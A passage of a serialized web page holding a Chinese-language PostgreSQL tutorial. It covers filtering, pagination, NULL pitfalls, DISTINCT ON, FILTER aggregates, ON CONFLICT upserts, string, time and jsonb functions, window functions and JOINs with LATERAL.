10;\n",[11,40537,40538,40541,40542,40545,40546,40549,40550,40553,40554,40557,40558,1901,40561,40564,40565,40568],{},[22,40539,40540],{},"WHERE"," 过滤行、",[22,40543,40544],{},"GROUP BY"," 分组、",[22,40547,40548],{},"HAVING"," 过滤组、",[22,40551,40552],{},"ORDER BY"," 排序、",[22,40555,40556],{},"LIMIT"," 取前 N 条——五个关键词按这个顺序写，执行顺序是 WHERE → GROUP BY → HAVING → ORDER BY → LIMIT。判断空值用 ",[22,40559,40560],{},"IS NULL",[22,40562,40563],{},"IS NOT NULL","，不要用 ",[22,40566,40567],{},"= NULL","（原因见坑 1）。",[53,40570,40572],{"id":40571},"第二步分页的两种写法","第二步：分页的两种写法",[308,40574,40576],{"className":37560,"code":40575,"language":37562,"meta":314,"style":314},"-- 写法一：按页码跳页\nSELECT id FROM orders ORDER BY id LIMIT 20 OFFSET 100;\n\n-- 写法二：键集分页（keyset \u002F seek），上一页最后一条 id 作为起点\nSELECT id FROM orders WHERE id > 500000 ORDER BY id LIMIT 20;\n",[22,40577,40578,40583,40588,40592,40597],{"__ignoreMap":314},[331,40579,40580],{"class":333,"line":334},[331,40581,40582],{},"-- 写法一：按页码跳页\n",[331,40584,40585],{"class":333,"line":341},[331,40586,40587],{},"SELECT id FROM orders ORDER BY id LIMIT 20 OFFSET 100;\n",[331,40589,40590],{"class":333,"line":357},[331,40591,998],{"emptyLinePlaceholder":997},[331,40593,40594],{"class":333,"line":371},[331,40595,40596],{},"-- 写法二：键集分页（keyset \u002F seek），上一页最后一条 id 作为起点\n",[331,40598,40599],{"class":333,"line":384},[331,40600,40601],{},"SELECT id FROM orders WHERE id > 500000 ORDER BY id LIMIT 20;\n",[11,40603,40604],{},"第一种能「跳转到第 N 页」，是给用户翻页用的；第二种代价恒定，适合信息流式的「下一页」。为什么深页要换写法，本章坑 3 有实测数字。",[53,40606,40608],{"id":40607},"第三步三件-pg-顺手兵器","第三步：三件 PG 顺手兵器",[11,40610,40611,40614],{},[17,40612,40613],{},"每组第一条","（「每个用户最近的一笔订单」），MySQL 得上窗口函数，PG 一句话：",[308,40616,40618],{"className":37560,"code":40617,"language":37562,"meta":314,"style":314},"SELECT DISTINCT ON (user_id) user_id, id, created_at\nFROM orders\nORDER BY user_id, created_at DESC;\n",[22,40619,40620,40625,40629],{"__ignoreMap":314},[331,40621,40622],{"class":333,"line":334},[331,40623,40624],{},"SELECT DISTINCT ON (user_id) user_id, id, created_at\n",[331,40626,40627],{"class":333,"line":341},[331,40628,39842],{},[331,40630,40631],{"class":333,"line":357},[331,40632,40633],{},"ORDER BY user_id, created_at DESC;\n",[11,40635,40636,40639,40640,40643],{},[17,40637,40638],{},"条件聚合","，比 ",[22,40641,40642],{},"CASE WHEN"," 干净：",[308,40645,40647],{"className":37560,"code":40646,"language":37562,"meta":314,"style":314},"SELECT user_id,\n       count(*)                                     AS total_cnt,\n       count(*) FILTER (WHERE status = 'paid')      AS paid_cnt,\n       sum(amount) FILTER (WHERE status = 'paid')   AS paid_amt\nFROM orders\nGROUP BY user_id\nHAVING count(*) FILTER (WHERE status = 'paid') >= 3;\n",[22,40648,40649,40654,40659,40664,40669,40673,40678],{"__ignoreMap":314},[331,40650,40651],{"class":333,"line":334},[331,40652,40653],{},"SELECT user_id,\n",[331,40655,40656],{"class":333,"line":341},[331,40657,40658],{},"       count(*)                                     AS total_cnt,\n",[331,40660,40661],{"class":333,"line":357},[331,40662,40663],{},"       count(*) FILTER (WHERE status = 'paid')      AS paid_cnt,\n",[331,40665,40666],{"class":333,"line":371},[331,40667,40668],{},"       sum(amount) FILTER (WHERE status = 'paid')   AS paid_amt\n",[331,40670,40671],{"class":333,"line":384},[331,40672,39842],{},[331,40674,40675],{"class":333,"line":397},[331,40676,40677],{},"GROUP BY user_id\n",[331,40679,40680],{"class":333,"line":418},[331,40681,40682],{},"HAVING count(*) FILTER (WHERE status = 'paid') >= 3;\n",[11,40684,40685,4839,40688,40691,40692,7023],{},[17,40686,40687],{},"改完顺手把结果带回来",[22,40689,40690],{},"RETURNING","），以及幂等写入（",[22,40693,40694],{},"ON CONFLICT",[308,40696,40698],{"className":37560,"code":40697,"language":37562,"meta":314,"style":314},"UPDATE orders SET status = 'paid', paid_at = now()\nWHERE id = 42\nRETURNING id, status, paid_at;\n\nINSERT INTO stats (user_id, day, pv) VALUES (42, '2026-10-10', 1)\nON CONFLICT (user_id, day)\nDO UPDATE SET pv = stats.pv + 1\nRETURNING pv;\n",[22,40699,40700,40705,40710,40715,40719,40724,40729,40734],{"__ignoreMap":314},[331,40701,40702],{"class":333,"line":334},[331,40703,40704],{},"UPDATE orders SET status = 'paid', paid_at = now()\n",[331,40706,40707],{"class":333,"line":341},[331,40708,40709],{},"WHERE id = 42\n",[331,40711,40712],{"class":333,"line":357},[331,40713,40714],{},"RETURNING id, status, paid_at;\n",[331,40716,40717],{"class":333,"line":371},[331,40718,998],{"emptyLinePlaceholder":997},[331,40720,40721],{"class":333,"line":384},[331,40722,40723],{},"INSERT INTO stats (user_id, day, pv) VALUES (42, '2026-10-10', 1)\n",[331,40725,40726],{"class":333,"line":397},[331,40727,40728],{},"ON CONFLICT (user_id, day)\n",[331,40730,40731],{"class":333,"line":418},[331,40732,40733],{},"DO UPDATE SET pv = stats.pv + 1\n",[331,40735,40736],{"class":333,"line":427},[331,40737,40738],{},"RETURNING pv;\n",[11,40740,40741,40744,40745,40748,40749,40752],{},[22,40742,40743],{},"DO UPDATE"," 换成 ",[22,40746,40747],{},"DO NOTHING"," 就是「有就跳过」。统计累加这类需求，一条 ",[22,40750,40751],{},"ON CONFLICT ... DO UPDATE"," 抵掉应用层整套「先查后插」的代码。",[4748,40754],{"height":18300,"src":40755,"title":40756},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F05-single-table.html","示例 05：单表查询——NULL \u002F 深分页 \u002F DISTINCT ON \u002F FILTER \u002F RETURNING",[53,40758,4796],{"id":7628},[11,40760,40761,40766],{},[17,40762,8723,40763,40765],{},[22,40764,40567],{}," 永远选不出东西。"," SQL 里 NULL 不是值，是「未知」，任何比较碰上它结果都是「未知」（不成立）：",[308,40768,40770],{"className":37560,"code":40769,"language":37562,"meta":314,"style":314},"SELECT count(*) FROM users WHERE memo = NULL;   -- 0，一个都选不出来\nSELECT count(*) FROM users WHERE memo IS NULL;  -- 417，正确写法\n",[22,40771,40772,40777],{"__ignoreMap":314},[331,40773,40774],{"class":333,"line":334},[331,40775,40776],{},"SELECT count(*) FROM users WHERE memo = NULL;   -- 0，一个都选不出来\n",[331,40778,40779],{"class":333,"line":341},[331,40780,40781],{},"SELECT count(*) FROM users WHERE memo IS NULL;  -- 417，正确写法\n",[11,40783,40784,40785,40788,40789,40792,40793,40796,40797,40800,40801,40804],{},"由此派生两件常用兵器：",[22,40786,40787],{},"IS DISTINCT FROM"," 把 NULL 当成一个具体值来比较（",[22,40790,40791],{},"a IS DISTINCT FROM b"," 两侧都是 NULL 时为 false，正好补上 ",[22,40794,40795],{},"\u003C>"," 的洞）；",[22,40798,40799],{},"coalesce(x, 0)"," 给 NULL 兜底。除零保护留到第六章和 ",[22,40802,40803],{},"nullif"," 一起讲。",[11,40806,40807,40810,40811,40814],{},[17,40808,40809],{},"2. 排序时 NULL 的位置和你想的相反。"," PG 的默认规则是：",[17,40812,40813],{},"升序时 NULL 沉底，降序时 NULL 置顶","。于是「按支付时间倒序取最近 5 单」，第一行居然是个没支付的空时间：",[308,40816,40818],{"className":37560,"code":40817,"language":37562,"meta":314,"style":314},"SELECT id, paid_at FROM orders ORDER BY paid_at DESC LIMIT 5;         -- 第一行 paid_at 是空的\nSELECT id, paid_at FROM orders ORDER BY paid_at DESC NULLS LAST LIMIT 5;  -- 老老实实沉底\n",[22,40819,40820,40825],{"__ignoreMap":314},[331,40821,40822],{"class":333,"line":334},[331,40823,40824],{},"SELECT id, paid_at FROM orders ORDER BY paid_at DESC LIMIT 5;         -- 第一行 paid_at 是空的\n",[331,40826,40827],{"class":333,"line":341},[331,40828,40829],{},"SELECT id, paid_at FROM orders ORDER BY paid_at DESC NULLS LAST LIMIT 5;  -- 老老实实沉底\n",[11,40831,40832],{},[17,40833,6665,40834,40837],{},[22,40835,40836],{},"OFFSET"," 是给用户翻页用的，不是给深页用的。",[308,40839,40841],{"className":37560,"code":40840,"language":37562,"meta":314,"style":314},"SELECT id FROM orders ORDER BY id LIMIT 20 OFFSET 500000;  -- 要先算过前 50 万行再扔掉\n",[22,40842,40843],{"__ignoreMap":314},[331,40844,40845],{"class":333,"line":334},[331,40846,40840],{},[11,40848,40849,40850,40852],{},"它是 O(offset)：翻到越深的页越慢，第 25000 页就是全表扫的价钱。换成第二步的键集分页，前提是排序列有索引且唯一，代价恒定；代价是不支持「跳转到第 N 页」。示例 05 里 ",[22,40851,37143],{}," 的两个数字对比，一眼就能看到量级差异。",[11,40854,40855,40864,40865,40868,40869,40871],{},[17,40856,7689,40857,40860,40861,40863],{},[22,40858,40859],{},"DISTINCT ON"," 只取一条，且 ",[22,40862,40552],{}," 最左边必须同列。"," 规则说人话：",[22,40866,40867],{},"DISTINCT ON (列)"," 指定「每组」，",[22,40870,40552],{}," 的最左边必须是同样的列，然后每组按剩余排序条件取第一条。要每组前三条就得回窗口函数（第六章）。它是 PG 对 SQL 标准的扩展，别的库没有。",[11,40873,40874,40883,40884,40887,40888,40891],{},[17,40875,9903,40876,2012,40879,40882],{},[22,40877,40878],{},"count(*)",[22,40880,40881],{},"count(列)"," 数的不是一回事。"," 前者数所有行，后者只数该列非 NULL 的行——「转化率」类指标两个 count 相除时务必想清楚用哪个。同理，",[22,40885,40886],{},"FILTER"," 虽然是 PG 扩展语法（等价于 ",[22,40889,40890],{},"count(CASE WHEN status='paid' THEN 1 END)","，但少敲一半字符），换库时要记得它不通用。",[11,40893,40894,268,40901,40903,40904,40906,40907,40909,40910,161],{},[17,40895,7717,40896,2012,40898,40900],{},[22,40897,40548],{},[22,40899,40540],{}," 的先后位置别放反。",[22,40902,40540],{}," 过滤聚合前的行，",[22,40905,40548],{}," 过滤聚合后的组。把聚合条件写进 ",[22,40908,40540],{}," 会直接报 ",[22,40911,40912],{},"aggregate functions are not allowed in WHERE",[11,40914,40915,268,40920,40923,40924,40927,40928,161],{},[17,40916,5772,40917,40919],{},[22,40918,40694],{}," 的推断列必须有唯一约束。",[22,40921,40922],{},"ON CONFLICT (user_id, day)"," 成立的前提是 ",[22,40925,40926],{},"(user_id, day)"," 上真有唯一索引，否则报 ",[22,40929,40930],{},"there is no unique or exclusion constraint matching the ON CONFLICT specification",[11,40932,40933,40936,40937,40939],{},[17,40934,40935],{},"8. 「先查后插」在并发下会丢更新。"," 应用层写「查一下有没有，没有就插」，两个线程同时查到「没有」就出事了。",[22,40938,40751],{}," 把这件事交给数据库原子完成；同一类问题在事务层面还有第三种解法，第九章细算这笔账。",[48,40941,40943],{"id":40942},"六常用函数字符串时间jsonb-与窗口","六、常用函数：字符串、时间、JSONB 与窗口",[11,40945,40946],{},"函数不背清单。本章按「改字符串、算时间、掏 JSON、开窗」四组各给一个最小用法，速查表和几个容易翻车的细节放到章末。",[53,40948,40950],{"id":40949},"第一步字符串拼接兜底切分","第一步：字符串——拼接、兜底、切分",[308,40952,40954],{"className":37560,"code":40953,"language":37562,"meta":314,"style":314},"SELECT concat('a', NULL);                  -- 'a'，concat 把 NULL 当空串\nSELECT coalesce(memo, name, '（没填）');     -- 从左到右取第一个非 NULL\nSELECT split_part(email, '@', 2);           -- 取域名\nSELECT format('%s-%s', 'order', id);        -- 拼展示文案，%s 自动转文本\nSELECT substring(email FROM 1 FOR 3);       -- 取子串（FROM 起点 FOR 长度）\nSELECT btrim(name, ' ');                    -- 去掉两侧空格，导入脏数据常用\n",[22,40955,40956,40961,40966,40971,40976,40981],{"__ignoreMap":314},[331,40957,40958],{"class":333,"line":334},[331,40959,40960],{},"SELECT concat('a', NULL);                  -- 'a'，concat 把 NULL 当空串\n",[331,40962,40963],{"class":333,"line":341},[331,40964,40965],{},"SELECT coalesce(memo, name, '（没填）');     -- 从左到右取第一个非 NULL\n",[331,40967,40968],{"class":333,"line":357},[331,40969,40970],{},"SELECT split_part(email, '@', 2);           -- 取域名\n",[331,40972,40973],{"class":333,"line":371},[331,40974,40975],{},"SELECT format('%s-%s', 'order', id);        -- 拼展示文案，%s 自动转文本\n",[331,40977,40978],{"class":333,"line":384},[331,40979,40980],{},"SELECT substring(email FROM 1 FOR 3);       -- 取子串（FROM 起点 FOR 长度）\n",[331,40982,40983],{"class":333,"line":397},[331,40984,40985],{},"SELECT btrim(name, ' ');                    -- 去掉两侧空格，导入脏数据常用\n",[11,40987,40988,40989,1901,40992,40995,40996,26877,40998,41000],{},"批量拼文案优先用 ",[22,40990,40991],{},"concat",[22,40993,40994],{},"format","，别用 ",[22,40997,1162],{},[22,40999,1162],{}," 遇到 NULL 会把整个结果传染成 NULL（详见坑 1）。",[53,41002,41004],{"id":41003},"第二步时间截断加减取部位","第二步：时间——截断、加减、取部位",[308,41006,41008],{"className":37560,"code":41007,"language":37562,"meta":314,"style":314},"SELECT date_trunc('month', created_at) AS mon, count(*)\nFROM orders\nGROUP BY mon;                              -- 月报分组键\n\nSELECT created_at + interval '30 days' AS deadline,   -- 加减\n       extract(epoch FROM created_at)    AS unix_sec,  -- 转 Unix 秒\n       age(now(), created_at)            AS how_long   -- 两个时刻差，输出「1 year 2 mons」这种人话\nFROM orders;\n",[22,41009,41010,41015,41019,41024,41028,41033,41038,41043],{"__ignoreMap":314},[331,41011,41012],{"class":333,"line":334},[331,41013,41014],{},"SELECT date_trunc('month', created_at) AS mon, count(*)\n",[331,41016,41017],{"class":333,"line":341},[331,41018,39842],{},[331,41020,41021],{"class":333,"line":357},[331,41022,41023],{},"GROUP BY mon;                              -- 月报分组键\n",[331,41025,41026],{"class":333,"line":371},[331,41027,998],{"emptyLinePlaceholder":997},[331,41029,41030],{"class":333,"line":384},[331,41031,41032],{},"SELECT created_at + interval '30 days' AS deadline,   -- 加减\n",[331,41034,41035],{"class":333,"line":397},[331,41036,41037],{},"       extract(epoch FROM created_at)    AS unix_sec,  -- 转 Unix 秒\n",[331,41039,41040],{"class":333,"line":418},[331,41041,41042],{},"       age(now(), created_at)            AS how_long   -- 两个时刻差，输出「1 year 2 mons」这种人话\n",[331,41044,41045],{"class":333,"line":427},[331,41046,41047],{},"FROM orders;\n",[11,41049,41050,41051,41054,41055,41058,41059,41062],{},"更多写法（",[22,41052,41053],{},"to_char"," 格式化、",[22,41056,41057],{},"AT TIME ZONE"," 换时区、",[22,41060,41061],{},"now()"," 三兄弟的区别）见章末速查表。",[53,41064,41066],{"id":41065},"第三步从-jsonb-里掏数据","第三步：从 jsonb 里掏数据",[308,41068,41070],{"className":37560,"code":41069,"language":37562,"meta":314,"style":314},"SELECT meta->>'channel' AS channel, count(*)   -- ->> 取文本\nFROM orders\nGROUP BY channel;\n",[22,41071,41072,41077,41081],{"__ignoreMap":314},[331,41073,41074],{"class":333,"line":334},[331,41075,41076],{},"SELECT meta->>'channel' AS channel, count(*)   -- ->> 取文本\n",[331,41078,41079],{"class":333,"line":341},[331,41080,39842],{},[331,41082,41083],{"class":333,"line":357},[331,41084,41085],{},"GROUP BY channel;\n",[11,41087,41088],{},"要展开数组逐行处理（比如统计订单里每个标签的出现次数）：",[308,41090,41092],{"className":37560,"code":41091,"language":37562,"meta":314,"style":314},"SELECT tag, count(*)\nFROM orders,\n     jsonb_array_elements(meta->'tags') AS tag\nGROUP BY tag;\n",[22,41093,41094,41099,41104,41109],{"__ignoreMap":314},[331,41095,41096],{"class":333,"line":334},[331,41097,41098],{},"SELECT tag, count(*)\n",[331,41100,41101],{"class":333,"line":341},[331,41102,41103],{},"FROM orders,\n",[331,41105,41106],{"class":333,"line":357},[331,41107,41108],{},"     jsonb_array_elements(meta->'tags') AS tag\n",[331,41110,41111],{"class":333,"line":371},[331,41112,41113],{},"GROUP BY tag;\n",[11,41115,41116,41119,41120,41123],{},[22,41117,41118],{},"FROM 表, jsonb_array_elements(...) AS 别名"," 这个写法等价于 ",[22,41121,41122],{},"LATERAL","（第七章），把每个 jsonb 数组元素炸成一行。",[53,41125,41127],{"id":41126},"第四步窗口函数不动行数地看邻居","第四步：窗口函数——不动行数地「看邻居」",[11,41129,41130,41132,41133,41136],{},[22,41131,40544],{}," 会把 N 行折叠成 1 行，窗口函数是",[17,41134,41135],{},"每一行都保留、额外加一列聚合视野","。两个最高频场景：",[308,41138,41140],{"className":37560,"code":41139,"language":37562,"meta":314,"style":314},"-- 每个用户最近 3 单（DISTINCT ON 只能取第一条，这里要前三条）\nSELECT * FROM (\n  SELECT o.*,\n         row_number() OVER (PARTITION BY user_id ORDER BY created_at DESC) AS rn\n  FROM orders o\n) t\nWHERE rn \u003C= 3;\n\n-- 环比：拿上一行的值；累计：组起点到当前行\nSELECT user_id, created_at, amount,\n       lag(amount, 1) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_amt,\n       sum(amount) OVER (PARTITION BY user_id ORDER BY created_at\n                         ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW) AS running_amt\nFROM orders;\n",[22,41141,41142,41147,41152,41157,41162,41167,41172,41177,41181,41186,41191,41196,41201,41206],{"__ignoreMap":314},[331,41143,41144],{"class":333,"line":334},[331,41145,41146],{},"-- 每个用户最近 3 单（DISTINCT ON 只能取第一条，这里要前三条）\n",[331,41148,41149],{"class":333,"line":341},[331,41150,41151],{},"SELECT * FROM (\n",[331,41153,41154],{"class":333,"line":357},[331,41155,41156],{},"  SELECT o.*,\n",[331,41158,41159],{"class":333,"line":371},[331,41160,41161],{},"         row_number() OVER (PARTITION BY user_id ORDER BY created_at DESC) AS rn\n",[331,41163,41164],{"class":333,"line":384},[331,41165,41166],{},"  FROM orders o\n",[331,41168,41169],{"class":333,"line":397},[331,41170,41171],{},") t\n",[331,41173,41174],{"class":333,"line":418},[331,41175,41176],{},"WHERE rn \u003C= 3;\n",[331,41178,41179],{"class":333,"line":427},[331,41180,998],{"emptyLinePlaceholder":997},[331,41182,41183],{"class":333,"line":439},[331,41184,41185],{},"-- 环比：拿上一行的值；累计：组起点到当前行\n",[331,41187,41188],{"class":333,"line":450},[331,41189,41190],{},"SELECT user_id, created_at, amount,\n",[331,41192,41193],{"class":333,"line":456},[331,41194,41195],{},"       lag(amount, 1) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_amt,\n",[331,41197,41198],{"class":333,"line":775},[331,41199,41200],{},"       sum(amount) OVER (PARTITION BY user_id ORDER BY created_at\n",[331,41202,41203],{"class":333,"line":785},[331,41204,41205],{},"                         ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW) AS running_amt\n",[331,41207,41208],{"class":333,"line":795},[331,41209,41047],{},[11,41211,41212,41215,41216,1901,41219,1901,41222,41225],{},[22,41213,41214],{},"ROWS BETWEEN ..."," 子句叫窗口帧，不写默认是「组起点到当前行」，累计值正是靠它。",[22,41217,41218],{},"row_number()",[22,41220,41221],{},"rank()",[22,41223,41224],{},"dense_rank()"," 三个序号函数的区别见章末速查表。",[4748,41227],{"height":18300,"src":41228,"title":41229},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F06-functions-window.html","示例 06：函数与窗口——NULL 传染 \u002F 除零保护 \u002F jsonb \u002F 环比",[53,41231,4796],{"id":8718},[11,41233,41234,41239],{},[17,41235,8723,41236,41238],{},[22,41237,1162],{}," 遇到 NULL，整个结果变 NULL。"," 「无中生有」是 SQL 的规矩：",[308,41241,41243],{"className":37560,"code":41242,"language":37562,"meta":314,"style":314},"SELECT 'a' || NULL;            -- NULL\nSELECT concat('a', NULL);      -- 'a'，concat 把 NULL 当空串\n",[22,41244,41245,41250],{"__ignoreMap":314},[331,41246,41247],{"class":333,"line":334},[331,41248,41249],{},"SELECT 'a' || NULL;            -- NULL\n",[331,41251,41252],{"class":333,"line":341},[331,41253,41254],{},"SELECT concat('a', NULL);      -- 'a'，concat 把 NULL 当空串\n",[11,41256,41257,41258,41261,41262,1901,41264,161],{},"批量拼展示文案时，要么先 ",[22,41259,41260],{},"coalesce","，要么直接用 ",[22,41263,40991],{},[22,41265,40994],{},[11,41267,41268,268,41271,41274],{},[17,41269,41270],{},"2. 除法不保护就是报错。",[22,41272,41273],{},"nullif(a, b)"," 在 a=b 时返回 NULL，否则返回 a，它最大的用场是除零保护——第四章埋的账在这里还：",[308,41276,41278],{"className":37560,"code":41277,"language":37562,"meta":314,"style":314},"SELECT 100 \u002F 0;                          -- ERROR: division by zero\nSELECT 100 \u002F nullif(qty, 0);             -- qty 为 0 时得到 NULL，语句不炸\nSELECT coalesce(100 \u002F nullif(qty, 0), 0);-- 再兜个底，空值按 0 算\n",[22,41279,41280,41285,41290],{"__ignoreMap":314},[331,41281,41282],{"class":333,"line":334},[331,41283,41284],{},"SELECT 100 \u002F 0;                          -- ERROR: division by zero\n",[331,41286,41287],{"class":333,"line":341},[331,41288,41289],{},"SELECT 100 \u002F nullif(qty, 0);             -- qty 为 0 时得到 NULL，语句不炸\n",[331,41291,41292],{"class":333,"line":357},[331,41293,41294],{},"SELECT coalesce(100 \u002F nullif(qty, 0), 0);-- 再兜个底，空值按 0 算\n",[11,41296,41297,268,41300,41303,41304,41307],{},[17,41298,41299],{},"3. 三个长度函数对中文的结果不一样。",[22,41301,41302],{},"length('中文')"," 是 2（字符），",[22,41305,41306],{},"octet_length('中文')"," 是 6（UTF-8 字节）——限长、算存储时想清楚自己要的是哪个。",[11,41309,41310,41315,41316,41319,41320,41323,41324,41327],{},[17,41311,41312,41313,21433],{},"4. 窗口函数不能出现在 ",[22,41314,40540],{}," 必须包一层子查询再过滤，直接写 ",[22,41317,41318],{},"WHERE rn = 1"," 会收到 ",[22,41321,41322],{},"ERROR: window functions are not allowed in WHERE","——PG 没有 DuckDB\u002FSnowflake 那种 ",[22,41325,41326],{},"QUALIFY"," 短路，子查询包装就是标准答案。",[11,41329,41330,41335,41336,41338,41339,4839,41342,8170,41345,41348,41349,41352,41353,41355,41356,161],{},[17,41331,9903,41332,41334],{},[22,41333,41061],{}," 不等于「此刻」。"," 函数三兄弟：",[22,41337,41061],{}," = ",[22,41340,41341],{},"transaction_timestamp()",[17,41343,41344],{},"事务内恒定",[22,41346,41347],{},"statement_timestamp()","（每条语句刷新）、",[22,41350,41351],{},"clock_timestamp()","（真实钟，同一行里两次调用都不同）。做「同一事务内 created 和 updated 相同」要 ",[22,41354,41061],{},"，做监控计时才用 ",[22,41357,41351],{},[11,41359,41360,268,41365,41367,41368,41371],{},[17,41361,7717,41362,41364],{},[22,41363,38567],{}," 的第三个参数必须是 jsonb 字面量。",[22,41366,39807],{}," 里的引号不是装饰——少写 ",[22,41369,41370],{},"::jsonb"," 或写成裸字符串，会得到一个带多余引号的值或直接报类型错。",[11,41373,41374,41380,41381,1677,41383,41385],{},[17,41375,41376,41377,41379],{},"7. 包含查询 ",[22,41378,39764],{}," 不建索引就是全表扫。"," 第四章提过，",[22,41382,38183],{},[22,41384,39764],{}," 要走 GIN 索引才划算（第八章讲两种 opclass 的取舍），否则每次包含查询都是顺序扫整列 jsonb。",[53,41387,41389],{"id":41388},"附时间与序号函数速查","附：时间与序号函数速查",[57,41391,41392,41403],{},[60,41393,41394],{},[63,41395,41396,41398,41400],{},[66,41397,9791],{},[66,41399,19254],{},[66,41401,41402],{},"结果（以 2026-10-10 09:30:15+08 为例）",[79,41404,41405,41421,41437,41450,41466,41482],{},[63,41406,41407,41410,41415],{},[84,41408,41409],{},"按月截断",[84,41411,41412],{},[22,41413,41414],{},"date_trunc('month', ts)",[84,41416,41417,41420],{},[22,41418,41419],{},"2026-10-01 00:00:00+08","——月报、周报的分组键",[63,41422,41423,41426,41434],{},[84,41424,41425],{},"加减",[84,41427,41428,272,41431],{},[22,41429,41430],{},"ts + interval '30 days'",[22,41432,41433],{},"ts - interval '2 hours'",[84,41435,41436],{},"interval 直接参与运算",[63,41438,41439,41442,41447],{},[84,41440,41441],{},"取部位",[84,41443,41444],{},[22,41445,41446],{},"extract(epoch FROM ts)",[84,41448,41449],{},"Unix 秒，跟前端\u002F缓存对时间的通用语言",[63,41451,41452,41455,41460],{},[84,41453,41454],{},"两个时刻差",[84,41456,41457],{},[22,41458,41459],{},"age(ts2, ts1)",[84,41461,41462,41465],{},[22,41463,41464],{},"1 year 2 mons 3 days"," 这种人话",[63,41467,41468,41471,41476],{},[84,41469,41470],{},"格式化",[84,41472,41473],{},[22,41474,41475],{},"to_char(ts, 'YYYY-MM-DD HH24:MI')",[84,41477,41478,41479],{},"输出展示用；入参用 ",[22,41480,41481],{},"to_timestamp(s, 'YYYY-MM-DD')",[63,41483,41484,41487,41492],{},[84,41485,41486],{},"换时区",[84,41488,41489],{},[22,41490,41491],{},"ts AT TIME ZONE 'UTC'",[84,41493,41494],{},"timestamptz 与 timestamp 互转",[57,41496,41497,41510],{},[60,41498,41499],{},[63,41500,41501,41504,41507],{},[66,41502,41503],{},"序号函数",[66,41505,41506],{},"并列时",[66,41508,41509],{},"结果",[79,41511,41512,41524,41536],{},[63,41513,41514,41518,41521],{},[84,41515,41516],{},[22,41517,41218],{},[84,41519,41520],{},"仍递增",[84,41522,41523],{},"1, 2, 3, 4——「严格名次 + 去重取一」",[63,41525,41526,41530,41533],{},[84,41527,41528],{},[22,41529,41221],{},[84,41531,41532],{},"并列同名次，跳号",[84,41534,41535],{},"1, 2, 2, 4",[63,41537,41538,41542,41545],{},[84,41539,41540],{},[22,41541,41224],{},[84,41543,41544],{},"并列同名次，不跳号",[84,41546,41547],{},"1, 2, 2, 3",[48,41549,41551],{"id":41550},"七多表关系join-家族exists-与外键的连锁行为","七、多表关系：JOIN 家族、EXISTS 与外键的连锁行为",[11,41553,41554,41555,41557,41558,41557,41560,41562,41563,41565,41566,161],{},"模型定型：",[22,41556,26736],{}," 1:N ",[22,41559,37864],{},[22,41561,37909],{}," N:1 ",[22,41564,37902],{},"；商品与标签多对多走中间表 ",[22,41567,41568],{},"product_tags",[53,41570,41572],{"id":41571},"第一步join-家族","第一步：JOIN 家族",[57,41574,41575,41587],{},[60,41576,41577],{},[63,41578,41579,41581,41584],{},[66,41580,19254],{},[66,41582,41583],{},"语义",[66,41585,41586],{},"记忆点",[79,41588,41589,41603,41616,41629],{},[63,41590,41591,41597,41600],{},[84,41592,41593,41596],{},[22,41594,41595],{},"INNER JOIN","（默认 JOIN）",[84,41598,41599],{},"只留两边都能配上对的",[84,41601,41602],{},"配不上对的行整体消失",[63,41604,41605,41610,41613],{},[84,41606,41607],{},[22,41608,41609],{},"LEFT [OUTER] JOIN",[84,41611,41612],{},"左表全保留，右边配不上补 NULL",[84,41614,41615],{},"「主表 + 带不带都行」",[63,41617,41618,41623,41626],{},[84,41619,41620],{},[22,41621,41622],{},"RIGHT \u002F FULL JOIN",[84,41624,41625],{},"对称地保留右表 \u002F 两边都保留",[84,41627,41628],{},"FULL 在补数据、对账场景常见",[63,41630,41631,41636,41639],{},[84,41632,41633],{},[22,41634,41635],{},"CROSS JOIN",[84,41637,41638],{},"笛卡尔积",[84,41640,41641],{},"几乎只出现在生成日历、排列组合的场景",[11,41643,41644],{},"最常用的就是前两种，一条语句记住形状：",[308,41646,41648],{"className":37560,"code":41647,"language":37562,"meta":314,"style":314},"SELECT u.name, count(o.id) AS order_cnt\nFROM users u\nLEFT JOIN orders o ON o.user_id = u.id\nGROUP BY u.name;\n",[22,41649,41650,41655,41660,41665],{"__ignoreMap":314},[331,41651,41652],{"class":333,"line":334},[331,41653,41654],{},"SELECT u.name, count(o.id) AS order_cnt\n",[331,41656,41657],{"class":333,"line":341},[331,41658,41659],{},"FROM users u\n",[331,41661,41662],{"class":333,"line":357},[331,41663,41664],{},"LEFT JOIN orders o ON o.user_id = u.id\n",[331,41666,41667],{"class":333,"line":371},[331,41668,41669],{},"GROUP BY u.name;\n",[53,41671,41673],{"id":41672},"第二步exists-与-lateral","第二步：EXISTS 与 LATERAL",[11,41675,41676],{},"「买了东西的用户」两种写法，优化器基本会改写成同一个计划，选哪个看可读性：",[308,41678,41680],{"className":37560,"code":41679,"language":37562,"meta":314,"style":314},"SELECT name FROM users u WHERE EXISTS (\n  SELECT 1 FROM orders o WHERE o.user_id = u.id\n);\n",[22,41681,41682,41687,41692],{"__ignoreMap":314},[331,41683,41684],{"class":333,"line":334},[331,41685,41686],{},"SELECT name FROM users u WHERE EXISTS (\n",[331,41688,41689],{"class":333,"line":341},[331,41690,41691],{},"  SELECT 1 FROM orders o WHERE o.user_id = u.id\n",[331,41693,41694],{"class":333,"line":357},[331,41695,37982],{},[11,41697,41698,41699,41701],{},"「每组取 N 条」还有个比窗口函数更直接的 ",[22,41700,41122],{},"：右边的子查询可以引用左边表的列，每行参数化执行一次：",[308,41703,41705],{"className":37560,"code":41704,"language":37562,"meta":314,"style":314},"SELECT u.name, o.id, o.amount\nFROM users u\nLEFT JOIN LATERAL (\n  SELECT * FROM orders o\n  WHERE o.user_id = u.id\n  ORDER BY created_at DESC LIMIT 3\n) o ON true;\n",[22,41706,41707,41712,41716,41721,41726,41731,41736],{"__ignoreMap":314},[331,41708,41709],{"class":333,"line":334},[331,41710,41711],{},"SELECT u.name, o.id, o.amount\n",[331,41713,41714],{"class":333,"line":341},[331,41715,41659],{},[331,41717,41718],{"class":333,"line":357},[331,41719,41720],{},"LEFT JOIN LATERAL (\n",[331,41722,41723],{"class":333,"line":371},[331,41724,41725],{},"  SELECT * FROM orders o\n",[331,41727,41728],{"class":333,"line":384},[331,41729,41730],{},"  WHERE o.user_id = u.id\n",[331,41732,41733],{"class":333,"line":397},[331,41734,41735],{},"  